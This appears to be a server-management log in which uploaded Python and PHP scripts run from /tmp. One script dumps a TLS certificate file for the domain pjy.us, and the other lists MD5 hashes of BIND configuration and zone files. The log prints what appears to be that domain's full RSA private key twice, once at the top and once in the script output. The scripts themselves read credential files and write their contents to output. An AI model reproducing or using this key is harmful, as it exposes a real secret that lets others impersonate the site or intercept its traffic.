CgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUzr6b3wwvtuaxfoHP
BO8Fq9/Q1YIwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYB
BQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAb
BgNVHREEFDASgggqLnBqeS51c4IGcGp5LnVzMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTUuY3Js
MIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYAyzj3FYl8hKFEX1vB3fvJbvKaWc1H
CmkFhbDLFMMUWOcAAAGcujbg/wAABAMARzBFAiEA01AfZUZUSLbS0USNNSMg2DUG
hh+xCVMdbR+FHRaPc9kCIF35EFAoMzn1gklTmN7I8bny4ajaradDCr8KzT2JFehl
AHYA0W6ppWgHfmY1oD83pd28A6U8QRIU1IgY9ekxsyPLlQQAAAGcujbhwgAABAMA
RzBFAiEAs6bwqj2iT+9D3olF7ZGPEifyb9NzWyRTlO57zLXS+S8CIC6INl8BPqKg
/EOozL6bnOPVcAzh93lg8Q8V/6xu1SuNMA0GCSqGSIb3DQEBCwUAA4IBAQDF0o87
ip5M+p2RctyWnmVnSGvhBsYpB+QvpE8K66PJG9hjDhECfDJ0TF8kSBRUfDu8E/fC
ZKlDaSHYiJ3iYgpI6KA0qsNYKPz0k60YNqHK9cA/xElouWGfgpTk5Vi6idGZ6rAQ
R0ppD4f4gfj4/GRbu1JKen9uZVPhrp/7z0R9AAT6bTdujiIzmnhuq2Sjwaj38rfp
NE72+lQI/3MPVJ0Nc5zNotBoJlyupX4/rahHPvZo0ngdtlj0aMYvbbhY4YmJNq5L
lDh2MUH2jQwOdtLBDKTq7w0gv4zokuK3PVzzV+GHgOnQC7u7XwyqvXUz+jhfCH8O
T/QYVXMsJsQ8a9YE
-----END CERTIFICATE-----


-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC47q+GXe0uQFo7
7yC19HDBIx0KCE+hO6yHUlxrDBKpdTiH9A/oOzUJK98Oxqsi3HHAWJ6mYNLF/4GP
CnSge9NvJbOBm/eiwhJy9RiVhTljQg2jyV+WzCsKpv8Su4hSJuy/Q9DzS6p9FSK9
lFDUhZ2+OZq353KpGpVDdU7D4QMRAegW+myxe1WPoW+qZ92z+a5kYKf8tge1dFdn
QsbFJfGvBDwr0SXQeAqkBtdWimIWS0JrNsnjS0M5GuP/3Goqarc8JIvgHWPBKgls
lND5WZ7UITPbfzH8xu/Ymj0PCOFptjEPeRQru/vr/qtNnCFJLDW56GEsD19slBii
vi6aCmlXAgMBAAECggEABFxRyeVPwRYbX+u/kGAh2IFaH0ZwOj5h+b7jbFLDOI5f
CuBND7jLA1sEI3ZjyqqlXq0Nm0wP1u4IwWAJvU8DfqIbnXlurr53bjvWnI/2TnTc
RXnAxe7X2k8dwfSnaOh/ZJ3WFiaOmpceU+y6CzOAs1+Vr7McF7NcxFPGdlqelo6z
+chmeC8Cys8CfTN5LhdlFFOr3Nkb9Awoxdb379izHep90L4H8jO7JZAy0SaLLWOj
fwYJ4Cr5wmPcqVM1TX3jV/cpO9HDCtOvsc/RAuG3o/PJ+VVdRnLwvi8QKXY7KQ9g
Dnru/YdqQIrBhuD9CCAXpSzpw96FxTru0GGMLNslwQKBgQDvsW3iuoR/2p3zLnw8
JRTb5Ij1TnAD0UajOeEb2tCIzKCIZ61dr+7RohP2XtI01ABrDHFWilbTDNNLsh5k
As0TTO6OHp+KnHkCPfJX6RZ7DTZfeUw29AA7ZGcY8wm6WOvSmuZSNKd9nLbiDAlf
udEMzgiZT4kXdXoOCeoZ693QaQKBgQDFg4bBFoaTlVmiqVFIgVMtxNqJu12EQHzd
JpO75ggNcsyqLKQ4S6k/a2rA7/vuwtHfiyKDU7vLZB1X1Li6t/wJ5RPG7PNS+Lnj
JsOUOf+TC3wSC0gx1+0ND7tBns2Sh93XoczTjxa9C/dDkuHYkWDw1CXBGvxmtWJD
CPnCVe8zvwKBgQCClh7w7H8tjPSKvaOvvOAdYOgBBYfffI/Ic8shutfr/9fiGOIJ
7cTl7zCDBGvvniTQLYo+BMaC2zTuw47tG92Qi1RYl3SCNvdycj9rB7FYvv0FjPcp
5UuPEAdfP2HoZXOtXPjoholN1SiKBNbCkWDEYierJvrgjf8+UMZ68tb5KQKBgAa8
XI0bMo236y2j7pS1bFvEOdu2mxLWjCuSlDk1OBMVVit7iEIvOl9iT2qzBHl5BWVF
PnESGvZtvJ5xL7eWbK79s/X1wLqUpuo7OTJF5BRksN+AqP6iKYBnh/BN9R7JKWSg
LPcOCy15Sf5w9OjI1HCCG6OBQxhRmT9GABaDjbvLAoGAYMA8t10T1v9Q0axumGwq
9Lu08z2P3wO1O0Jt20RVh6CwF571BnAEZz1gk80AGg0UXgTDyIo8YxO8aHYS73aP
Wbvclw8YOHbsJFqk4nanrgLDGRNMAQXYv5sIQtO2vtu6dlexPjoRxxZHutyvsTqn
uugk9G5lv9gmlDnHFEPX9y0=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----





2026-05-06 10:29:05: 

PUT: /tmp/pkp904752

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/7889e7c0d13f0b76beb5af2adc3d4e86.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-06 10:29:05: 

chmod 755 /tmp/pkp904752; /tmp/pkp904752; rm /tmp/pkp904752

2026-05-06 10:29:05: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/7889e7c0d13f0b76beb5af2adc3d4e86.crt	5320
5f:c6:ed:f0:30:68:d2:60:40:4f:6d:f3:1a:ee:98:4e

-----BEGIN CERTIFICATE-----
MIIE6DCCA9CgAwIBAgISBSbtbNND6sLBWBxRVjuDf0uOMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzA0MTc1OTM0WhcNMjYwNjAyMTc1OTMzWjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC47q+GXe0u
QFo77yC19HDBIx0KCE+hO6yHUlxrDBKpdTiH9A/oOzUJK98Oxqsi3HHAWJ6mYNLF
/4GPCnSge9NvJbOBm/eiwhJy9RiVhTljQg2jyV+WzCsKpv8Su4hSJuy/Q9DzS6p9
FSK9lFDUhZ2+OZq353KpGpVDdU7D4QMRAegW+myxe1WPoW+qZ92z+a5kYKf8tge1
dFdnQsbFJfGvBDwr0SXQeAqkBtdWimIWS0JrNsnjS0M5GuP/3Goqarc8JIvgHWPB
KglslND5WZ7UITPbfzH8xu/Ymj0PCOFptjEPeRQru/vr/qtNnCFJLDW56GEsD19s
lBiivi6aCmlXAgMBAAGjggIWMIICEjAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAww
CgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUzr6b3wwvtuaxfoHP
BO8Fq9/Q1YIwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYB
BQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAb
BgNVHREEFDASgggqLnBqeS51c4IGcGp5LnVzMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTUuY3Js
MIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYAyzj3FYl8hKFEX1vB3fvJbvKaWc1H
CmkFhbDLFMMUWOcAAAGcujbg/wAABAMARzBFAiEA01AfZUZUSLbS0USNNSMg2DUG
hh+xCVMdbR+FHRaPc9kCIF35EFAoMzn1gklTmN7I8bny4ajaradDCr8KzT2JFehl
AHYA0W6ppWgHfmY1oD83pd28A6U8QRIU1IgY9ekxsyPLlQQAAAGcujbhwgAABAMA
RzBFAiEAs6bwqj2iT+9D3olF7ZGPEifyb9NzWyRTlO57zLXS+S8CIC6INl8BPqKg
/EOozL6bnOPVcAzh93lg8Q8V/6xu1SuNMA0GCSqGSIb3DQEBCwUAA4IBAQDF0o87
ip5M+p2RctyWnmVnSGvhBsYpB+QvpE8K66PJG9hjDhECfDJ0TF8kSBRUfDu8E/fC
ZKlDaSHYiJ3iYgpI6KA0qsNYKPz0k60YNqHK9cA/xElouWGfgpTk5Vi6idGZ6rAQ
R0ppD4f4gfj4/GRbu1JKen9uZVPhrp/7z0R9AAT6bTdujiIzmnhuq2Sjwaj38rfp
NE72+lQI/3MPVJ0Nc5zNotBoJlyupX4/rahHPvZo0ngdtlj0aMYvbbhY4YmJNq5L
lDh2MUH2jQwOdtLBDKTq7w0gv4zokuK3PVzzV+GHgOnQC7u7XwyqvXUz+jhfCH8O
T/QYVXMsJsQ8a9YE
-----END CERTIFICATE-----


-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC47q+GXe0uQFo7
7yC19HDBIx0KCE+hO6yHUlxrDBKpdTiH9A/oOzUJK98Oxqsi3HHAWJ6mYNLF/4GP
CnSge9NvJbOBm/eiwhJy9RiVhTljQg2jyV+WzCsKpv8Su4hSJuy/Q9DzS6p9FSK9
lFDUhZ2+OZq353KpGpVDdU7D4QMRAegW+myxe1WPoW+qZ92z+a5kYKf8tge1dFdn
QsbFJfGvBDwr0SXQeAqkBtdWimIWS0JrNsnjS0M5GuP/3Goqarc8JIvgHWPBKgls
lND5WZ7UITPbfzH8xu/Ymj0PCOFptjEPeRQru/vr/qtNnCFJLDW56GEsD19slBii
vi6aCmlXAgMBAAECggEABFxRyeVPwRYbX+u/kGAh2IFaH0ZwOj5h+b7jbFLDOI5f
CuBND7jLA1sEI3ZjyqqlXq0Nm0wP1u4IwWAJvU8DfqIbnXlurr53bjvWnI/2TnTc
RXnAxe7X2k8dwfSnaOh/ZJ3WFiaOmpceU+y6CzOAs1+Vr7McF7NcxFPGdlqelo6z
+chmeC8Cys8CfTN5LhdlFFOr3Nkb9Awoxdb379izHep90L4H8jO7JZAy0SaLLWOj
fwYJ4Cr5wmPcqVM1TX3jV/cpO9HDCtOvsc/RAuG3o/PJ+VVdRnLwvi8QKXY7KQ9g
Dnru/YdqQIrBhuD9CCAXpSzpw96FxTru0GGMLNslwQKBgQDvsW3iuoR/2p3zLnw8
JRTb5Ij1TnAD0UajOeEb2tCIzKCIZ61dr+7RohP2XtI01ABrDHFWilbTDNNLsh5k
As0TTO6OHp+KnHkCPfJX6RZ7DTZfeUw29AA7ZGcY8wm6WOvSmuZSNKd9nLbiDAlf
udEMzgiZT4kXdXoOCeoZ693QaQKBgQDFg4bBFoaTlVmiqVFIgVMtxNqJu12EQHzd
JpO75ggNcsyqLKQ4S6k/a2rA7/vuwtHfiyKDU7vLZB1X1Li6t/wJ5RPG7PNS+Lnj
JsOUOf+TC3wSC0gx1+0ND7tBns2Sh93XoczTjxa9C/dDkuHYkWDw1CXBGvxmtWJD
CPnCVe8zvwKBgQCClh7w7H8tjPSKvaOvvOAdYOgBBYfffI/Ic8shutfr/9fiGOIJ
7cTl7zCDBGvvniTQLYo+BMaC2zTuw47tG92Qi1RYl3SCNvdycj9rB7FYvv0FjPcp
5UuPEAdfP2HoZXOtXPjoholN1SiKBNbCkWDEYierJvrgjf8+UMZ68tb5KQKBgAa8
XI0bMo236y2j7pS1bFvEOdu2mxLWjCuSlDk1OBMVVit7iEIvOl9iT2qzBHl5BWVF
PnESGvZtvJ5xL7eWbK79s/X1wLqUpuo7OTJF5BRksN+AqP6iKYBnh/BN9R7JKWSg
LPcOCy15Sf5w9OjI1HCCG6OBQxhRmT9GABaDjbvLAoGAYMA8t10T1v9Q0axumGwq
9Lu08z2P3wO1O0Jt20RVh6CwF571BnAEZz1gk80AGg0UXgTDyIo8YxO8aHYS73aP
Wbvclw8YOHbsJFqk4nanrgLDGRNMAQXYv5sIQtO2vtu6dlexPjoRxxZHutyvsTqn
uugk9G5lv9gmlDnHFEPX9y0=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----





2026-05-06 10:29:05: Establishing a connection
2026-05-06 10:29:05: 

PUT: /tmp/pkp770609

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-06 10:29:06: 

runuser -l bind -s /bin/bash -c '/tmp/pkp770609; rm /tmp/pkp770609'

2026-05-06 10:29:06: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
